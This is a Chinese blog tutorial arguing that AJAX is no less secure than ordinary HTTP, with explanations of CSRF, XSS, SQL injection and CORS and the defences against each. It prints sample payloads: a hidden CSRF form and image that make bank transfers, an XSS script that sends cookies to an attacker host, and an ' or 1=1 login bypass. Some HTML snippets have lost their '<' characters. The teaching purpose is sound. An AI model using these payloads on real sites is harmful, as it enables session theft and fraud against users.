開篇三問

• AJAX請求真的不安全么？
• AJAX請求哪里不安全？
• 怎么樣讓AJAX請求更安全？

前言

日前網(wǎng)絡(luò)中流行圍繞AJAX和安全風(fēng)險的討伐聲浪讓人不絕于耳。下面就來詳細談一談Web安全與AJAX的關(guān)系。

本文包含的內(nèi)容較多，包括AJAX，CORS，XSS，CSRF等內(nèi)容，要完整的看完并理解需要付出一定的時間。

另外，見解有限，如有描述不當之處，請幫忙及時指出。

正文開始...

從入坑前端開始，一直到現(xiàn)在，AJAX請求都是以極高的頻率重復(fù)出現(xiàn)，也解決過不少AJAX中遇到的問題，如跨域調(diào)試，錯誤調(diào)試等等。

從這種，發(fā)現(xiàn)了一個共通現(xiàn)象：那就是每次和后臺人員對接時，他們都會提到AJAX請求不安全，請用普通http請求！

雖然很多時候，都是經(jīng)過多翻口舌之爭后，最終后臺那邊妥協(xié)，允許部分符合條件的AJAX請求。但是，我卻很糾結(jié)一個問題：AJAX請求真的不安全么？為什么我自己寫后臺時并沒有發(fā)現(xiàn)這個問題？

于是，開始準備搜集資料，結(jié)合自己已有的認知，整理成一份解決方案，分析AJAX請求真的不安全么？哪里不安全？，后續(xù)遇到類似的問題就直接向?qū)Ψ綊伋鲆黄恼?/p>

大綱

AJAX請求真的不安全么

• AJAX不安全的說法從何而來

常見的幾種Web前端安全問題

• CSRF簡介
• CSRF與AJAX的關(guān)系
• XSS簡介
• XSS與AJAX的關(guān)系
• SQL注入簡介
• SQL注入與AJAX的關(guān)系

AJAX和HTTP請求的區(qū)別

CORS與AJAX安全性之間的關(guān)聯(lián)

• CORS與AJAX關(guān)系的簡介
• 為什么要配置CORS？
• CORS會配置些什么信息？
• CORS Origin: *的安全性

再看，AJAX請求真的不安全么？

AJAX請求哪里不安全？

怎么樣讓AJAX請求更安全？

AJAX請求真的不安全么

首先，先說一個定論：AJAX請求是否安全，由服務(wù)端（后臺）決定

有這樣一個說法：如果某個Web應(yīng)用具備良好的安全性，那么再怎么用“不安全的AJAX”也削弱不了它的安全性，反之如果應(yīng)用本身存在漏洞，不管用何種技術(shù)請求，它都是不安全的

為何會有這種說法？因為在Web應(yīng)用中，客戶端輸入不可信是一個基本原則

AJAX不安全的說法從何而來？

在AJAX出現(xiàn)時，那時的服務(wù)端還是很古老的那一批，因此完全沒有考慮到AJAX出現(xiàn)后，前端請求方式會變得異常復(fù)雜，造成以前的安全策略已經(jīng)無法滿足要求了，導(dǎo)致大批的后臺安全漏洞曝光。。。

很顯然，都是因為AJAX出現(xiàn)后曝光了更多的安全漏洞，導(dǎo)致它看起來很危險（因為AJAX出現(xiàn)后，請求方式變多了，以前的架構(gòu)在新的請求中就可能出現(xiàn)更多漏洞）

So，AJAX不安全的說法自然擴散到了各個角落。

常見的幾種Web前端安全問題

要知道AJAX請求是否安全，那么就得先知道Web前端中到底有那幾種安全問題

1.XSS（跨站腳本攻擊）（cross-site scripting）

 -> 偽造會話（基于XSS實現(xiàn)CSRF）
 
 -> 劫持cookie
 
 -> 惡意代碼執(zhí)行

2.CSRF（跨站請求偽造）（cross-site request forgery）

 -> 偽造用戶身份操作
 
3. SQL注入

...（其它暫且不提）

如上，Web前端中的安全問題主要就是這幾大類（僅列舉部分做分析），所以我們首先要分析AJAX與這幾大類之間的關(guān)系。（XSS和CSRF，在下文也會做簡單介紹。）

CSRF簡介

CSRF，特征很簡單：冒用用戶身份，進行惡意操作

時至今日，這項安全漏洞已經(jīng)被人們剖析的很透徹了，隨便Google，百度之，都會找到很多的解釋。這里也用一張圖來先做簡單描述：

（注，下面介紹參考了來源文章中的描述，譬如圖就是參考了來源中的博文后重繪的）

所以，我們看到關(guān)鍵條件是：

      1. 采用cookie來進行用戶校驗

      2. 登錄受信任網(wǎng)站A，并在本地生成Cookie

      3. 在不登出A的情況下，訪問危險網(wǎng)站B

一般在(4)處惡意網(wǎng)站(B)的攻擊手段如下（必須是指向A的地址，否則無法帶上cookie）：

// 1.譬如在網(wǎng)站內(nèi)的圖片資源中潛入惡意的轉(zhuǎn)賬操作
img src=http://www.bank.example/transfer?toBankId=helloamount=1000000 width='0' height='0'>
// 2.構(gòu)建惡意的隱藏表單，并通過腳本提交惡意請求
iframe style="display: none;" name="csrf-frame">/iframe>
form method='POST' action='http://www.bank.example/transfer' target="csrf-frame" id="csrf-form">
 input type='hidden' name='toBankId' value='hello'>
 input type='hidden' name='amount' value='1000000'>
 input type='submit' value='submit'>
/form>
script>document.getElementById("csrf-form").submit()/script>

而且，從頭到尾，攻擊網(wǎng)站都沒有獲取到過 cookie，都是通過瀏覽器間接實現(xiàn)（利用Web的cookie隱式身份驗證機制），所以HttpOnly并不會影響這個攻擊

最后說下，幾種常見的CSRF防御手段：

1. 驗證HTTP Referer字段（非常簡單，但是鑒于客戶端并不可信任，所以并不是很安全）

（防止CSRF，檢查Referer字段簡單直接，但是其完全依賴瀏覽器發(fā)送正確的Referer字段。

雖然http協(xié)議對此字段的內(nèi)容有明確的規(guī)定，但并無法保證來訪的瀏覽器的具體實現(xiàn)，亦無法保證瀏覽器沒有安全漏洞影響到此字段。并且也存在攻擊者攻擊某些瀏覽器，篡改其Referer字段的可能。）

2. 在請求地址中添加token并驗證

（譬如post中，以參數(shù)的形式加入一個隨機產(chǎn)生的token）

CSRF與AJAX的關(guān)系

上文中，我們看到CSRF的前提是cookie驗證用戶身份，那么它與AJAX的關(guān)系大么？

我們先分析AJAX中帶cookie驗證的情況：

1. AJAX受到瀏覽器的同源策略限制

2. AJAX默認無法請求跨域的接口

（當然后臺可以配置`Access-Control-Allow-Origin: *`之類的允許所有的跨域請求）

3. AJAX請求無法攜帶跨域cookie

（如果強行開啟withCredentials，必須服務(wù)端配合認證，無法用作攻擊）

嗯哼...看到這，基本就可以認為CSRF與AJAX請求無緣了。。。

譬如假設(shè)上圖中第4部分的請求由AJAX發(fā)起，假設(shè)網(wǎng)站A已經(jīng)允許了Access-Control-Allow-Origin: *，由于網(wǎng)站B與網(wǎng)站A是不同域名，所以存在跨域，根據(jù)同源策略，請求時根本就無法攜帶cookie，故而無法通過身份認證，攻擊失敗。。。
就算強行開啟withCredentials，攜帶跨域cookie，但是由于服務(wù)端并不會單獨配置網(wǎng)站B的跨域cookie（需配置Access-Control-Allow-Credentials: true，而且這時候不允許設(shè)置Allow-Origin: *），所以肯定認證失敗

可以看到，就算Access-Control-Allow-Origin: *允許所有來源的AJAX請求，跨域的cookie默認情況下仍然是無法攜帶的，無法CSRF

所以說，結(jié)論是：CSRF與AJAX無關(guān)

XSS簡介

既然CSRF與AJAX關(guān)系不大，那么XSS應(yīng)該會與AJAX有很大關(guān)系吧？（要不然為什么一直說AJAX請求不安全，對吧。）。那么請繼續(xù)看下去（本文中只限JS范疇）

XSS（cross-site scripting），看起來簡寫應(yīng)該是css更合適。。。但是為了和層疊式樣式表區(qū)分，就用XSS簡寫表示

XSS的特征也可以概括為：跨域腳本注入，攻擊者通過某種方式將惡意代碼注入到網(wǎng)頁上，然后其他用戶觀看到被注入的頁面內(nèi)容后會受到特定攻擊

相比CSRF，XSS囊括的內(nèi)容更多，而且往往是多種攻擊形式組合而成，這里以前文中介紹的幾種為例：

1.cookie劫持

同樣，頁面中有一個評論輸入，輸入后會，因為后臺的漏洞，沒有過濾特殊字符，會直接明文保存到數(shù)據(jù)庫中，然后展示到網(wǎng)頁時直接展示明文數(shù)據(jù)，那么如下

%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
form action="saveComment.jsp" method="post"> 
 請輸入評論內(nèi)容：BR> 
 input name="content" type="text"> 
 input type="submit" value="確認">
/form> 

然后攻擊者分析后，輸入

script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)/script>

保存文章。很簡單的代碼，由于沒有過濾腳本，那么其它用戶登陸后，在看到這篇文章時就會自動將他們的cookie信息都發(fā)送到了攻擊者的服務(wù)器。

攻擊者可以在cookie（譬如jsessionid對應(yīng)的session）有效期內(nèi)拿它們冒充用戶操作。

需要注意，這里和CSRF的區(qū)別是，這里是拿到了cookie后主動冒充用戶的，而CSRF中根本就不知cookie，僅利用瀏覽器的隱式校驗方式冒充用戶。

2.會話偽造

同樣是評論漏洞的示例。

攻擊者輸入（舉例比喻）

img src=http://www.bank.example/transfer?toBankId=helloamount=1000000 width='0' height='0'>

然后，接下來發(fā)生的故事就和CSRF中提到的一致。這種情況就是基于XSS而開展的CSRF，也有人喜歡稱之為XSRF

需要注意，這里并沒有自己拿到cookie，而是CSRF中提到的利用瀏覽器的隱式驗證機制來冒充用戶。

3.其它惡意代碼執(zhí)行

其實上面的cookie劫持以及會話偽造都算是惡意代碼執(zhí)行，為了區(qū)別，這里就專指前端的流氓JS。

譬如前面的評論中的輸入可以是：

       譬如市面上盛行的網(wǎng)頁游戲彈窗等。

       譬如干脆直接讓這個頁面卡死都可以。

       譬如無限循環(huán)。

這里再提一點，上述都是從前端輸入作為入口的，但實際上有一類的輸入也不可忽視，那就是：富文本攻擊

它的特點就是： 富文本中注入了腳本，并且前后端未進行過濾，導(dǎo)致直接輸出到了頁面中

因為存在很多頁面，都是將富文本內(nèi)容展示到網(wǎng)頁上的，沒有進行過濾（哪怕時至今日，仍然有不少頁面），這樣只要富文本中有注入腳本，基本就中招了。。。

結(jié)論：

只要最終能向頁面輸出可執(zhí)行的腳本語句，那么就是有漏洞，XSS攻擊都有可能發(fā)生。

而且，基本上xss漏洞是很廣泛的，雖然攻擊類型很被動，也需要大量時間分析，但勝在大量的網(wǎng)站上都存在（特別是那種長期不更新的）

再提一點。上述的介紹更多的是從造成的后果來看，但其實如果從攻擊手動來看的話可以分為幾大類型：反射型XSS攻擊（直接通過URL注入，而且很多瀏覽器都自帶防御），存儲型XSS攻擊（存儲到DB后讀取時注入），還有一個DOM-Based型。

上述示例中都是存儲型，具體更多內(nèi)容網(wǎng)上已經(jīng)有很詳細的資料，這里不再繼續(xù)深入，放一張圖鞏固下。

如何預(yù)防XSS：

• 輸入過濾，不信任用戶的任何輸入，過濾其中的“”、“>”、“/”等可能導(dǎo)致腳本注入的特殊字符，

或者過濾“script”、“javascript”等腳本關(guān)鍵字，或者對輸入數(shù)據(jù)的長度進行限制等等，還得考慮攻擊者使用十六進制編碼來輸入腳本的方式。

• 輸出進行編碼，和輸入過濾類似，不過是從輸出上著手，數(shù)據(jù)輸出到頁面時，經(jīng)過HtmlEncoder等工具編碼，這樣就不會存在直接輸出可執(zhí)行的腳本了
• cookie設(shè)置http-only，這樣用腳本就無法獲取cookie了

（這樣只有瀏覽器向Web服務(wù)器發(fā)起請求的時才會帶上cookie字段，避免了XSS攻擊利用JavaScript的document.cookie獲取cookie）

• Cookie防盜，盡可能地避免在Cookie中泄露隱私，如用戶名、密碼等；

或者，為了防止重放攻擊，可以將Cookie和IP進行綁定，這樣也可以阻止攻擊者冒充正常用戶的身份。

• 注意，特別是后臺，一定不能信任前端的輸入，需要過濾與校驗

XSS與AJAX的關(guān)系

以上分析了XSS造成一些影響與問題，仍然發(fā)現(xiàn)：與AJAX關(guān)系不大，因為這些問題不管用不用AJAX都會發(fā)生。

看看這種情況，譬如上述的富文本注入中：

1. 某個接口采用AJAX交互

2. AJAX請求完后將對應(yīng)富文本字段顯示到了頁面上-譬如innerHTML

但是，這真的與AJAX無關(guān)，這是前后端沒有進行輸入輸出過濾而造成的后果。

所以，還是那句話：如果某個Web應(yīng)用具備良好的安全性，那么再怎么用“不安全的AJAX”也削弱不了它的安全性，反之如果應(yīng)用本身存在漏洞，不管用何種技術(shù)請求，它都是不安全的

SQL注入簡介

sql注入展開將也是一門很大的學(xué)問，很早以前更是大行其道（當然，現(xiàn)在...），這里僅僅舉幾個最極端的示例。

前提是后臺沒有過濾前端的輸入數(shù)據(jù)，否則根本無法生效

假設(shè)頁面A中有一個登陸查詢存在拙劣的sql注入漏洞，這樣子的：（最極端，最傻的情況）

%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
form action="login.jsp" method="post"> 
 請輸入用戶名與密碼：BR> 
 input name="name" type="text"> 
 input name="password" type="text"> 
 input type="submit" value="登陸">
/form> 

在接收到登陸請求后，服務(wù)端的實際執(zhí)行代碼時是：

String sql = "SELECT * FROM users WHERE name = '" + name + "' AND password = '" + password + "'";

然而有攻擊者分析出后臺可能存在漏洞，嘗試sql注入攻擊，輸入

name = ' or 1=1
password = anything

那么這樣，后臺接收到數(shù)據(jù)后，實際上查詢的結(jié)果是

SELECT * FROM users WHERE name = ' ' or 1=1 AND password = 'anything'

故而，攻擊者成功的繞過的用戶名，利用后臺漏洞登陸了。

當然了，像這類這么低級的漏洞，現(xiàn)象幾乎已經(jīng)不存在了，往往這類型漏洞需要仔細分析，耗時。（又或者是有內(nèi)奸。。。）

SQL注入與AJAX的關(guān)系

額，從上述的示例中看不出和AJAX有什么關(guān)系。但是我們可以這樣假設(shè)：

1. 有一個接口，接收AJAX post的數(shù)據(jù)

2. 數(shù)據(jù)中有一個字段 'name'，后臺接收到后沒有進行過濾，直接如上面的演示一樣，執(zhí)行sql語句了

3. 所以AJAX中如果給那個字段傳入非法的注入信息，就會觸發(fā)這個漏洞，導(dǎo)致攻擊生效
對，就是這樣極端的情況下才會發(fā)生，而且與AJAX并沒有關(guān)系，因為換成任何一種其它請求都會有類似的情況。。。

所以說，結(jié)論是：SQL注入與AJAX無關(guān)

AJAX和HTTP請求的區(qū)別

從本質(zhì)上將：AJAX就是瀏覽器發(fā)出的HTTP請求，只不過是瀏覽器加上了一個同源策略限制而已。

AJAX請求的XMLHTTPRequest對象就是瀏覽器開放給JS調(diào)用HTTP請求用的。

那么AJAX和HTTP的區(qū)別呢？列出以下幾點：

• AJAX請求受到瀏覽器的同源策略限制，存在跨域問題
• AJAX在進行復(fù)雜請求時，瀏覽器會預(yù)先發(fā)出OPTIONS預(yù)檢（HTTP自己是不會預(yù)檢的）
• 從使用角度上說，AJAX使用簡單一點，少了些底層細節(jié)，多了些瀏覽器特性（如自動帶上同域cookie等）
• 所以說，和認證上的HTTP請求的區(qū)別就是-多了一次瀏覽器的封裝而已（瀏覽器會有自己的預(yù)處理，加上特定限制）

但是，從最終發(fā)出的報文來看，內(nèi)容都是一樣的（HTTP協(xié)議規(guī)范的內(nèi)容），AJAX是發(fā)送HTTP請求的一種方式

所以從這一點可以得出一個結(jié)論：AJAX本質(zhì)上安全性和HTTP請求一樣

CORS與AJAX安全性之間的關(guān)聯(lián)

按照前文中提到的內(nèi)容，基本無法得出AJAX與請求不安全的關(guān)聯(lián)。那么接下來，再繼續(xù)分析，如果使用了跨域資源共享（CORS）后的安全性。

(因為往往ajax都會伴隨著CORS)

CORS與AJAX關(guān)系的簡介

這是一個跨域共享方案，大致流程就是：（僅以復(fù)雜請求的預(yù)檢舉例-這一部分要求提前掌握CORS相關(guān)知識）

     1. 前端AJAX請求前發(fā)出一個OPTIONS預(yù)檢，會帶一堆相關(guān)頭部發(fā)送給服務(wù)端

     2. 服務(wù)端在接受到預(yù)檢時，檢查頭部，來源等信息是否合法，合法則接下來允許正常的請求，否則直接無情的拒絕掉

     3. 瀏覽器端如果收到服務(wù)端拒絕的信息（響應(yīng)頭部檢查），就拋出對應(yīng)錯誤。

否則就是正常的響應(yīng)，接下來發(fā)出真正的請求（如POST）

請求和響應(yīng)的頭部信息大概如下：

Request Headers

// 在CORS中專門作為Origin信息供后端比對，表示來源域。
Origin: http://xxx
Access-Control-Request-Headers: X-Requested-With
// 所有用setRequestHeader方法設(shè)置的頭部都將會以逗號隔開的形式包含在這個頭中，一般POST請求中就會帶上
Access-Control-Request-Method: OPTIONS

Response Headers

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx

最終，客戶端發(fā)出的請求，必須符合服務(wù)端的校驗規(guī)則才能正確，服務(wù)端才會返回正確頭部，否則只會請求失敗。報跨域錯誤。

以上僅是簡介，更多信息可以參考來源中的ajax跨域，這應(yīng)該是最全的解決方案了

為什么要配置CORS？

因為同源策略限制，AJAX無法請求跨域資源，CORS可以解決AJAX跨域請求問題。

因此：在本文中，配置CORS只是為了AJAX能跨域請求

CORS會配置些什么信息？

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx

如上，加上這個配置后，必須符合要求的才算是正常的請求，否則就會拒絕掉，一般AJAX跨域的話都會有OPTIONS，所以在預(yù)檢中就做了這一步。

可以看到，關(guān)鍵的可變信息是：Access-Control-Allow-Origin: http://xxx

這個配置就是域名白名單，規(guī)定在什么樣的域名下才能進行AJAX跨域請求。

CORS Origin: *的安全性

關(guān)鍵問題來了，在上面的CORS配置是這樣的：

Access-Control-Allow-Origin: http://xxx

但是這個配置只允許特定域名訪問，鑒于前端的復(fù)雜性，有時候調(diào)試起來不是很方便，因此有時候，會偷懶的設(shè)置為：

Access-Control-Allow-Origin: *

這個代表所有來源的跨域AJAX請求都能正常響應(yīng)。

接下來我們再來分析設(shè)置Origin: *可能帶來哪些問題。（都是基于AJAX的情況）

問題1：會對cookie認證造成影響么？

不會。雖然*代表了所有來源都能正常請求，但是同源策略下，是無法帶上跨域cookie的。因此根本無法用身份驗證。

而且，就算用withCredentials強行帶上跨域cookie，因為后臺沒有支持，所以會報錯。（這可以看成是CORSs模型的最后一道防線）

再者，后臺就算配置Access-Control-Allow-Credentials允許跨域cookie，但是這時候的安全策略是Origin不允許為*，必須是一個明確的地址。

（否則你就可以看到瀏覽器的報錯信息-跨域cookie時，Origin不允許為*）

問題2：如果偽造Origin頭部呢？

首先，標準的瀏覽器中是不允許你偽造的（除非有嚴重漏洞），所以一般需要通過模擬客戶端請求偽造。

但是。在非瀏覽器情況下，本來就沒有同源策略。這又是何必。。。

所以說，偽造Origin與CORS并沒有關(guān)系。

問題3：如果后臺本來就存在漏洞呢？

做這樣一個假設(shè)，假設(shè)用戶所在網(wǎng)絡(luò)的內(nèi)網(wǎng)中有一臺內(nèi)網(wǎng)服務(wù)器，并且配置了允許所有的跨域請求：（當然，外網(wǎng)是請求不到內(nèi)網(wǎng)的）

// 允許任何來自任意域的跨域請求
Access-Control-Allow-Origin: *

再假設(shè)內(nèi)網(wǎng)服務(wù)器上恰巧存在敏感資源，并且沒有額外設(shè)防，只要內(nèi)網(wǎng)就能訪問。譬如：

192.168.111.23/users.md

然后用戶訪問了惡意網(wǎng)頁，而像HTML之類的網(wǎng)頁都是下載到本地執(zhí)行的，正好網(wǎng)頁內(nèi)有惡意代碼，去向192.168.111.23/users.md請求資源，再將接收到的服務(wù)端返回發(fā)送到攻擊者服務(wù)器。

（因為加了Origin為*，而且AJAX是由本地瀏覽器發(fā)出的，所以用戶下載到本地的惡意網(wǎng)站是可以訪問到用戶內(nèi)網(wǎng)中的后臺的）

然后這些敏感數(shù)據(jù)就這樣被盜取了。

But，這是因為服務(wù)端漏洞而存在的問題，設(shè)置Origin為的后臺上為何要放置敏感資源？正常設(shè)置為Origin為的最大作用是用作公共API。

而且更重要的是，為何敏感資源就這樣輕易的被獲取了？為什么沒有二次驗證？

SO，后臺本身有漏洞，所以才導(dǎo)致被攻擊，AJAX恰好是攻擊的手段之一（除了AJAX外還會有其它的方式），所以很多鍋都甩到了AJAX頭上。

這樣，可以得出一個保守點的結(jié)論：

Origin如果不是*，AJAX請求并不會有安全問題，如果是*，可能會由于后臺的漏洞，不經(jīng)意間，AJAX就被作為一種攻擊手段了，導(dǎo)致了出現(xiàn)AJAX不安全的說法

再看，AJAX請求真的不安全么？

仍然是最初的結(jié)論：

如果某個Web應(yīng)用具備良好的安全性，那么再怎么用“不安全的AJAX”也削弱不了它的安全性，反之如果應(yīng)用本身存在漏洞，不管用何種技術(shù)請求，它都是不安全的

我們可以看到，XSS也好，CSRF也好，以及其它隱藏的可能漏洞也好，本質(zhì)上都是后臺已有漏洞造成的問題，AJAX最多是被用作一種攻擊手段（甚至某些里面AJAX還無法使用）

提到AJAX請求不安全的，譬如有CORS里面配置Origin: *造成某些極端情況下能通過AJAX發(fā)出攻擊。但事實上這也是其中的一種攻擊手段而已，沒有AJAX，該不安全的仍然不安全。

譬如還有的說法是：因為在AJAX出現(xiàn)以前，如果出現(xiàn)安全漏洞，容易被察覺，但AJAX是異步的，更容易隱式的出現(xiàn)安全問題。。。這也與安全性的本質(zhì)無關(guān)。

最重要一點，從Web應(yīng)用安全角度來談，Web應(yīng)用必須從不信任客戶端。所以不要再把鍋甩給AJAX。

AJAX請求哪里不安全？

同上，AJAX本身并不存在這種安全問題。

不過有一點需注意，如果使用了CORS方案。

1. Allow-Origin可以設(shè)置特定的值，過濾特定的白名單

2. 對于一些公共的API，可以直接將Allow-Origin設(shè)置為`*`

3. 當然，如果確認后臺沒有這些隱藏漏洞，可以直接使用`*`，畢竟也只是針對瀏覽器的同源策略而已，影響沒有那么大。

怎么樣讓AJAX請求更安全？

仍然是文中反復(fù)提到的結(jié)論：

讓W(xué)eb后臺更安全，則AJAX請求也更安全，反之后臺有漏洞，不管怎么樣都是不安全的

寫在最后的話

這樣的話，應(yīng)該可以把AJAX不安全的鍋甩掉了吧？

附錄

參考資料

• 跨站請求偽造
• 跨站腳本
• 淺談CSRF攻擊方式
• XSS攻擊及防御
• 前端安全之XSS攻擊
• AJAX真的不安全？
• AJAX 如何保證數(shù)據(jù)的安全性？
• Web 開發(fā)常見安全問題
• 跨域資源共享(CORS)安全性淺析
• ajax跨域，這應(yīng)該是最全的解決方案了

總結(jié)

以上就是這篇文章的全部內(nèi)容了，希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，如果有疑問大家可以留言交流，謝謝大家對腳本之家的支持。